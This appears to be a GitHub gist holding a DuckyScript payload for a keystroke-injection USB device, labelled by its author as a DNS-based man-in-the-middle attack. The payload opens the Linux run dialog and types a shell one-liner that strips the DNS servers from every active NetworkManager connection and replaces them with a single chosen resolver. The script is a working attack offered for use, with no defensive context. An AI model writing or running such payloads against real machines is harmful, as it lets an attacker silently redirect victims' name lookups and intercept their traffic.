Skip to content

Instantly share code, notes, and snippets.

@JonnyBanana
Created April 17, 2018 03:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JonnyBanana/6636f36e379c985c528aafa67b8523e8 to your computer and use it in GitHub Desktop.
Save JonnyBanana/6636f36e379c985c528aafa67b8523e8 to your computer and use it in GitHub Desktop.
REM Set up a DNS-based MITM attack.
DELAY 1000
ALT F2
DELAY 100
STRING sh -c 'function mitm() { for ((i=0;i<10;i++)); do nmcli connection modify "$1" -ipv4.dns 0; done; nmcli connection modify "$1" +ipv4.dns 8.8.8.8; }; for x in $(nmcli -t connection show --active | cut -d: -f1); do mitm "$x"; done;'
ENTER
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment